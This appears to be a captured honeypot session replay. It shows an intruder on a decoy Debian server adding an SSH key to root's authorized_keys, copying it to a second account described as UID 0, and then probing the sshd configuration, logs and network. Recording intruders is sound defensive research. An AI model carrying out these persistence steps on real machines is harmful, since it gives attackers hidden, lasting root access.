ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdnTnQsHAGtAghypwkvSSCaCWHpyaopeG21WsywvB13t2ItOhPS8oqfHzcWpFdiZalkWMs8hahAFZb9MqPYeYjwl1KNhYN01MvxOlPt2C5Ahp4qPujZBUlrtihTOsiv/PNyRirXWi4dBOEd+iDC7MEuwUM2nQL78qw4wxZ8o/9cHmTgvhrX3BAm/pAaOSybHRv30aRIe4Nf5JiDOIvq34zLlXQdYTo9QwQWdm6U7iUGP3mK/GnvbEdPue1YaPQamPKnbTMdIucoQPkEbUCvS/MhTuj1kbFgkG8MjkADTecyZCRggRc2dt6oQNkw6lUrxneXeaYXleJLBfnO4N74ZRB rsa-key-20251006
admin@mx-qro-azure-1:/root/.ssh$ echo "=== KEY FINGERPRINT ==="
=== KEY FINGERPRINT ===
admin@mx-qro-azure-1:/root/.ssh$ ssh-keygen -lf /root/.ssh/authorized_keys
2048 SHA256:AWH0cSYmzwAMl9tvfHbXpNozyuIwG9eN+64a8JFOsG4 rsa-key-20251006 (RSA)
admin@mx-qro-azure-1:/root/.ssh$ echo "=== FILE PERMISSIONS ==="
=== FILE PERMISSIONS ===
admin@mx-qro-azure-1:/root/.ssh$ namei -l /root/.ssh/authorized_keys
admin@mx-qro-azure-1:/root/.ssh$ echo "=== SSH CONFIG ==="
=== SSH CONFIG ===
admin@mx-qro-azure-1:/root/.ssh$ grep -nE '^(Include|PermitRootLogin|PubkeyAuthentication|AuthorizedKeysFile|PasswordAuthentication|AllowUsers)' /etc/ssh/sshd_config
12:Include /etc/ssh/sshd_config.d/*.conf
33:PermitRootLogin yes
38:PubkeyAuthentication yes
57:PasswordAuthentication yes
123:AllowUsers admin certssl root
admin@mx-qro-azure-1:/root/.ssh$ echo "=== SSHD BINARY TEST ==="
=== SSHD BINARY TEST ===
admin@mx-qro-azure-1:/root/.ssh$ /usr/sbin/sshd -t
admin@mx-qro-azure-1:/root/.ssh$ echo $?
0
admin@mx-qro-azure-1:/root/.ssh$ echo "=== FORMAT CHEIE ==="
=== FORMAT CHEIE ===
admin@mx-qro-azure-1:/root/.ssh$ file /root/.ssh/authorized_keys
admin@mx-qro-azure-1:/root/.ssh$ wc -L /root/.ssh/authorized_keys
397 /root/.ssh/authorized_keys
admin@mx-qro-azure-1:/root/.ssh$ od -An -tx1 -N 20 /root/.ssh/authorized_keys
 73 73 68 2d 72 73 61 20 41 41 41 41 42 33 4e 7a
 61 43 31 79
admin@mx-qro-azure-1:/root/.ssh$ tail -c 20 /root/.ssh/authorized_keys | od -An -tc
   Z   R   B       r   s   a   -   k   e   y   -   2   0   2   5
   1   0   0   6
admin@mx-qro-azure-1:/root/.ssh$ echo "=== CONFIGURATIE EFECTIVA ==="
=== CONFIGURATIE EFECTIVA ===
admin@mx-qro-azure-1:/root/.ssh$ /usr/sbin/sshd -T -C user=root,host=mx-qro-azure-1,addr=[attacker] </dev/null 2>&1 | head -40
admin@mx-qro-azure-1:/root/.ssh$ echo "=== LOGURI SSH ==="
=== LOGURI SSH ===
admin@mx-qro-azure-1:/root/.ssh$ journalctl -u ssh --since today --no-pager | tail -50
Dec 05 05:55:02 mx-qro-azure-1 sshd[77146]: Accepted password for admin from [attacker] port 52888 ssh2
Dec 05 05:55:02 mx-qro-azure-1 sshd[77146]: pam_unix(sshd:session): session opened for user admin(uid=1000) by (uid=0)
admin@mx-qro-azure-1:/root/.ssh$ # Adauga terminatorul de linie daca lipseste
admin@mx-qro-azure-1:/root/.ssh$ [ "$(tail -c 1 /root/.ssh/authorized_keys | wc -l)" -eq 0 ] && echo >> /root/.ssh/authorized_keys
admin@mx-qro-azure-1:/root/.ssh$ # Pastreaza aceeasi cheie pentru certssl (UID 0)
admin@mx-qro-azure-1:/root/.ssh$ cp /root/.ssh/authorized_keys /home/certssl/.ssh/authorized_keys
admin@mx-qro-azure-1:/root/.ssh$ # Permisiuni
admin@mx-qro-azure-1:/root/.ssh$ chown root:root /root/.ssh /root/.ssh/authorized_keys
admin@mx-qro-azure-1:/root/.ssh$ chown root:root /home/certssl /home/certssl/.ssh /home/certssl/.ssh/authorized_keys
admin@mx-qro-azure-1:/root/.ssh$ chmod 700 /root/.ssh /home/certssl /home/certssl/.ssh
admin@mx-qro-azure-1:/root/.ssh$ chmod 600 /root/.ssh/authorized_keys /home/certssl/.ssh/authorized_keys
admin@mx-qro-azure-1:/root/.ssh$ # Verificare
admin@mx-qro-azure-1:/root/.ssh$ ssh-keygen -lf /root/.ssh/authorized_keys
2048 SHA256:AWH0cSYmzwAMl9tvfHbXpNozyuIwG9eN+64a8JFOsG4 rsa-key-20251006 (RSA)
admin@mx-qro-azure-1:/root/.ssh$ sudo journalctl -f -o short-iso
2026-12-05T05:55:07+0100 mx-qro-azure-1 su[77214]: pam_unix(su:session): session opened for user root(uid=0) by root(uid=0)
2026-12-05T05:58:10+0100 mx-qro-azure-1 sudo[77219]:     root : TTY=pts/0 ; PWD=/home/admin ; USER=root ; COMMAND=/usr/bin/apt update
2026-12-05T05:58:10+0100 mx-qro-azure-1 sudo[77219]: pam_unix(sudo:session): session opened for user root(uid=0) by root(uid=0)
2026-12-05T05:58:10+0100 mx-qro-azure-1 sudo[77219]: pam_unix(sudo:session): session closed for user root
2026-12-05T05:58:21+0100 mx-qro-azure-1 sudo[77220]:     root : TTY=pts/0 ; PWD=/home/admin ; USER=root ; COMMAND=/usr/bin/apt install -y ca-certificates curl gnupg lsb-releasedf
2026-12-05T05:58:21+0100 mx-qro-azure-1 sudo[77220]: pam_unix(sudo:session): session opened for user root(uid=0) by root(uid=0)
2026-12-05T05:58:21+0100 mx-qro-azure-1 sudo[77220]: pam_unix(sudo:session): session closed for user root
2026-12-05T06:09:41+0100 mx-qro-azure-1 sudo[77434]:     root : TTY=pts/0 ; PWD=/root/.ssh ; USER=root ; COMMAND=/usr/bin/journalctl -f -o short-iso
2026-12-05T06:09:41+0100 mx-qro-azure-1 sudo[77434]: pam_unix(sudo:session): session opened for user root(uid=0) by root(uid=0)
2026-12-05T06:09:41+0100 mx-qro-azure-1 sudo[77434]: pam_unix(sudo:session): session closed for user root
admin@mx-qro-azure-1:/root/.ssh$ sudo tcpdump -ni any 'tcp port 22'
sudo: tcpdump: command not found
admin@mx-qro-azure-1:/root/.ssh$ apt update && apt install -y tcpdump
0% [Connecting to deb.debian.org (34.126.222.25)] [Connecting to security.debian.org (34.80.74.151)]
admin@mx-qro-azure-1:/root/.ssh$ curl -4 -I --connect-timeout 10 https://deb.debian.org
admin@mx-qro-azure-1:/root/.ssh$ ip route
default via 192.168.10.1 dev eno1 
192.168.10.0/24 dev eno1 proto kernel scope link src 192.168.10.20 
admin@mx-qro-azure-1:/root/.ssh$ ping -c 3 192.168.10.1
PING 192.168.10.1 (192.168.10.1) 56(84) bytes of data.

--- 192.168.10.1 ping statistics ---
3 packets transmitted, 0 received, 100% packet loss, time 2004ms
admin@mx-qro-azure-1:/root/.ssh$ ping -c 3 -W 2 192.168.10.1; echo "---- INTERNET ----"; curl -4 -v --connect-timeout 5 https://deb.debian.org -o /dev/null
PING 192.168.10.1 (192.168.10.1) 56(84) bytes of data.

--- 192.168.10.1 ping statistics ---
3 packets transmitted, 0 received, 100% packet loss, time 2004ms

---- INTERNET ----
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- 0:00:05 --:--:--     0
curl: (28) Failed to connect to deb.debian.org port 443 after 5002 ms: Timeout was reached
admin@mx-qro-azure-1:/root/.ssh$ ip neigh show dev eno1
192.168.10.1 lladdr bc:cf:4f:52:0e:71 REACHABLE 
admin@mx-qro-azure-1:/root/.ssh$ ip -s link show eno1
2: eno1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP mode DEFAULT group default qlen 1000
    link/ether c8:7f:54:78:6a:08 brd ff:ff:ff:ff:ff:ff
    altname enp97s0f0
    RX:    bytes packets errors dropped  missed   mcast
        59686093  606173      0       0       0       0
    TX:    bytes packets errors dropped carrier collsns
        93081154  561646      0       0       0       0
admin@mx-qro-azure-1:/root/.ssh$ ip neigh show 192.168.10.1
admin@mx-qro-azure-1:/root/.ssh$ ip route get [decoy address]
[decoy address] via 192.168.10.1 dev eno1 src 192.168.10.20 uid 0 
    cache 
admin@mx-qro-azure-1:/root/.ssh$ echo "=== SSH LISTEN ==="
=== SSH LISTEN ===
admin@mx-qro-azure-1:/root/.ssh$ ss -lntp | grep ':22'
LISTEN 0      128          0.0.0.0:22        0.0.0.0:*    users:(("sshd",pid=1793,fd=3))   
LISTEN 0      128             [::]:22           [::]:*    users:(("sshd",pid=1793,fd=4))   
admin@mx-qro-azure-1:/root/.ssh$ echo "=== UFW ==="
=== UFW ===
admin@mx-qro-azure-1:/root/.ssh$ ufw status verbose
bash: ufw: command not found
admin@mx-qro-azure-1:/root/.ssh$ echo "=== NFTABLES ==="
=== NFTABLES ===
admin@mx-qro-azure-1:/root/.ssh$ nft list ruleset
admin@mx-qro-azure-1:/root/.ssh$ echo "=== CONFIG SSH ==="
=== CONFIG SSH ===
admin@mx-qro-azure-1:/root/.ssh$ grep -RniE 'PubkeyAuthentication|AuthorizedKeysFile|PermitRootLogin|AllowUsers|DenyUsers|AuthenticationMethods|Match' /etc/ssh/sshd_config /etc/ssh/sshd_config.d/ 2>/dev/null
/etc/ssh/sshd_config:33:PermitRootLogin yes
/etc/ssh/sshd_config:38:PubkeyAuthentication yes
/etc/ssh/sshd_config:41:#AuthorizedKeysFile	.ssh/authorized_keys .ssh/authorized_keys2
/etc/ssh/sshd_config:81:# the setting of "PermitRootLogin prohibit-password".
/etc/ssh/sshd_config:118:#Match User anoncvs
/etc/ssh/sshd_config:123:AllowUsers admin certssl root
admin@mx-qro-azure-1:/root/.ssh$ echo "=== LOG AUTH ==="
=== LOG AUTH ===
admin@mx-qro-azure-1:/root/.ssh$ ls -l /var/log/auth.log /var/log/syslog /var/log/secure 2>/dev/null
admin@mx-qro-azure-1:/root/.ssh$ echo "=== SSH PROCESS ==="
=== SSH PROCESS ===
admin@mx-qro-azure-1:/root/.ssh$ ps -fp 1793
UID          PID    PPID  C STIME TTY          TIME CMD
root        1793       1  0 Nov30 ?        00:00:04 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
admin@mx-qro-azure-1:/root/.ssh$ echo "=== CONFIGURATIE EFECTIVA SSH ==="
=== CONFIGURATIE EFECTIVA SSH ===
admin@mx-qro-azure-1:/root/.ssh$ /usr/sbin/sshd -T 2>&1 | grep -Ei '^(pubkeyauthentication|authorizedkeysfile|permitrootlogin|allowusers|loglevel|syslogfacility|strictmodes)'
admin@mx-qro-azure-1:/root/.ssh$ echo "=== CONFIGURATIE SYSTEMD ==="
=== CONFIGURATIE SYSTEMD ===
admin@mx-qro-azure-1:/root/.ssh$ systemctl cat ssh
# /lib/systemd/system/ssh.service
[Unit]
Description=OpenBSD Secure Shell server
Documentation=man:sshd(8) man:sshd_config(5)
After=network.target auditd.service
ConditionPathExists=!/etc/ssh/sshd_not_to_be_run

[Service]
EnvironmentFile=-/etc/default/ssh
ExecStartPre=/usr/sbin/sshd -t
ExecStart=/usr/sbin/sshd -D $SSHD_OPTS
ExecReload=/usr/sbin/sshd -t
ExecReload=/bin/kill -HUP $MAINPID
KillMode=process
Restart=on-failure
RestartPreventExitStatus=255
Type=notify
RuntimeDirectory=sshd
RuntimeDirectoryMode=0755

[Install]
WantedBy=multi-user.target
Alias=sshd.service
admin@mx-qro-azure-1:/root/.ssh$ echo "=== LOGURI SSH ==="
=== LOGURI SSH ===
admin@mx-qro-azure-1:/root/.ssh$ journalctl -t sshd --since "30 minutes ago" --no-pager
Dec 05 05:55:02 mx-qro-azure-1 sshd[77146]: Accepted password for admin from [attacker] port 52888 ssh2
Dec 05 05:55:02 mx-qro-azure-1 sshd[77146]: pam_unix(sshd:session): session opened for user admin(uid=1000) by (uid=0)
admin@mx-qro-azure-1:/root/.ssh$ echo "=== TEST SSHD ==="
=== TEST SSHD ===
admin@mx-qro-azure-1:/root/.ssh$ /usr/sbin/sshd -T >/tmp/sshd-out 2>/tmp/sshd-err
admin@mx-qro-azure-1:/root/.ssh$ echo "Exit code: $?"
Exit code: 0
admin@mx-qro-azure-1:/root/.ssh$ echo "Output:"
Output:
admin@mx-qro-azure-1:/root/.ssh$ wc -c /tmp/sshd-out /tmp/sshd-err
wc: /tmp/sshd-out: No such file or directory
wc: /tmp/sshd-err: No such file or directory
0 total
admin@mx-qro-azure-1:/root/.ssh$ cat /tmp/sshd-err
cat: /tmp/sshd-err: No such file or directory
admin@mx-qro-azure-1:/root/.ssh$ echo "=== EXECUTABIL ==="
=== EXECUTABIL ===
admin@mx-qro-azure-1:/root/.ssh$ file /usr/sbin/sshd
admin@mx-qro-azure-1:/root/.ssh$ dpkg -S /usr/sbin/sshd
admin@mx-qro-azure-1:/root/.ssh$ echo "=== INTEGRITATE PACHET ==="
=== INTEGRITATE PACHET ===
admin@mx-qro-azure-1:/root/.ssh$ dpkg -V openssh-server
admin@mx-qro-azure-1:/root/.ssh$ echo "=== COMENZI ==="
=== COMENZI ===
admin@mx-qro-azure-1:/root/.ssh$ type -a sshd file dpkg
sshd is /usr/sbin/sshd
sshd is /sbin/sshd
file is /usr/bin/file
file is /bin/file
dpkg is /usr/bin/dpkg
dpkg is /bin/dpkg
admin@mx-qro-azure-1:/root/.ssh$ echo "=== SSHD ==="
=== SSHD ===
admin@mx-qro-azure-1:/root/.ssh$ ls -l /usr/sbin/sshd
-rwxr-xr-x 1 root root 1265432 May  8  2026 /usr/sbin/sshd
admin@mx-qro-azure-1:/root/.ssh$ stat /usr/sbin/sshd
  File: /usr/sbin/sshd
  Size: 1265432   	Blocks: 2472       IO Block: 4096   regular file
Device: 259,2	Inode: 3214537     Links: 1
Access: (0755/-rwxr-xr-x)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2026-05-08 18:06:47.409753800 +0200
Modify: 2026-05-08 18:06:47.409753800 +0200
Change: 2026-05-08 18:06:47.409753800 +0200
 Birth: 2026-05-08 18:06:47.409753800 +0200
admin@mx-qro-azure-1:/root/.ssh$ echo "=== TEMP ==="
=== TEMP ===
admin@mx-qro-azure-1:/root/.ssh$ ls -ld /tmp
drwxrwxrwt 8 root root 4096 Nov 25 14:34 /tmp
admin@mx-qro-azure-1:/root/.ssh$ touch /tmp/test-ssh && ls -l /tmp/test-ssh
-rw-r--r-- 1 root root 0 Dec  5 06:12 /tmp/test-ssh
admin@mx-qro-azure-1:/root/.ssh$ echo "=== PACHET ==="
=== PACHET ===
admin@mx-qro-azure-1:/root/.ssh$ dpkg-query -W openssh-server
Connection to mx-qro-azure-1 closed by remote host.

Idle for 5 minutes, the decoy closed the connection · 22m 45s inside

22:45 / 22:45
What they found: A small company's GPU workstationA powerful office workstation with several graphics cards, which a small team uses to train machine-learning models and to run one of them for its own applications.

Live updates paused

Reconnecting…

Trying again in seconds.

The connection is gone. Reload the page to see the latest.

Paused to save the server’s work while you were away.

Couldn’t resume. Reload the page to see the latest.